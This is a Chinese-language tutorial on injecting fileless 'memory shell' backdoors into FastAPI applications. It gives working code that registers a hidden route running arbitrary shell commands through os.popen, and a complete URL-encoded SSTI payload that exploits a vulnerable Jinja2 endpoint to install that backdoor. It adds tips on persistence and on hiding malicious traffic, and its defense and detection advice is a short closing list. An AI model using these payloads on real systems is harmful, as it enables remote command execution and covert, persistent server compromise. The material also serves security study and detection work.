FastAPI框架下的内存马技术详解

一、FastAPI基础介绍

FastAPI是一个现代、高性能的Python Web框架，用于构建API。它基于Python 3.6+的类型提示，使用Starlette作为底层ASGI框架，并使用Pydantic进行数据验证。

基本示例代码

from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
    return {"Hello": "World"}

@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
    return {"item_id": item_id, "q": q}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

关键组件说明

FastAPI实例：app = FastAPI()创建应用实例
路由定义：使用装饰器如@app.get()定义路由
运行方式：通过Uvicorn运行应用

二、内存马技术原理

内存马(Memory Shell)是一种无文件驻留技术，通过修改内存中的应用程序对象来添加恶意功能，而不需要在磁盘上留下文件。

FastAPI内存马实现要点

获取当前运行的app实例：

import sys
app = sys.modules['__main__'].__dict__['app']

添加恶意路由：

from fastapi import Request

def malicious_handler(request: Request):
    cmd = request.query_params.get('cmd')
    if cmd:
        import os
        return os.popen(cmd).read()
    return "normal response"

app.add_api_route('/malicious', malicious_handler, methods=['GET'])

三、利用SSTI漏洞注入内存马

漏洞示例代码分析

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
        rendered_template = template.render({"app": app})
        return rendered_template

限制条件绕过

不能包含数字：使用__builtins__等替代
不能包含%：避免URL编码
只能执行一次：通过修改access变量或一次性注入完整payload

完整注入流程

获取__builtins__：

/calc?calc_req=lipsum.__globals__.__builtins__

执行恶意代码注入：

/calc?calc_req=lipsum.__globals__.__builtins__['exec']("import+sys\napp+%3d+sys.modules['__main__'].__dict__['app']\nfrom+fastapi+import+Request\n\ndef+a(request%3a+Request)%3a\n++++import+os\n++++cmd+%3d+request.query_params.get('cmd')\n++++if+cmd+is+not+None%3a\n++++++++return+os.popen(cmd).read()\n++++\n++++return+'shell'\n\napp.add_api_route('/a',+a,+methods%3d['GET'])")

执行命令：
```
/a?cmd=whoami
```

四、防御措施

输入验证：
- 严格限制用户输入内容
- 避免直接执行用户提供的代码
权限控制：
- 限制路由添加权限
- 使用中间件进行访问控制
代码审计：
- 检查所有动态代码执行点
- 监控异常路由添加行为
运行时保护：
- 使用RASP进行运行时防护
- 监控内存中的路由变化

五、高级利用技巧

使用lambda表达式简化注入：

app.add_api_route("/a", lambda: __import__("os").popen("whoami").read())

持久化技术：
- 利用应用重启机制
- 修改启动脚本
隐蔽通信：
- 使用正常API隐藏恶意流量
- 加密命令执行结果

六、检测方法

路由扫描：
- 检查所有注册的路由
- 对比与源码的差异
内存分析：
- 检查内存中的可疑对象
- 监控路由表变化
行为监控：
- 记录所有命令执行
- 监控异常进程创建

通过以上技术细节，安全研究人员可以深入理解FastAPI框架下内存马的工作原理，并采取有效措施进行防御和检测。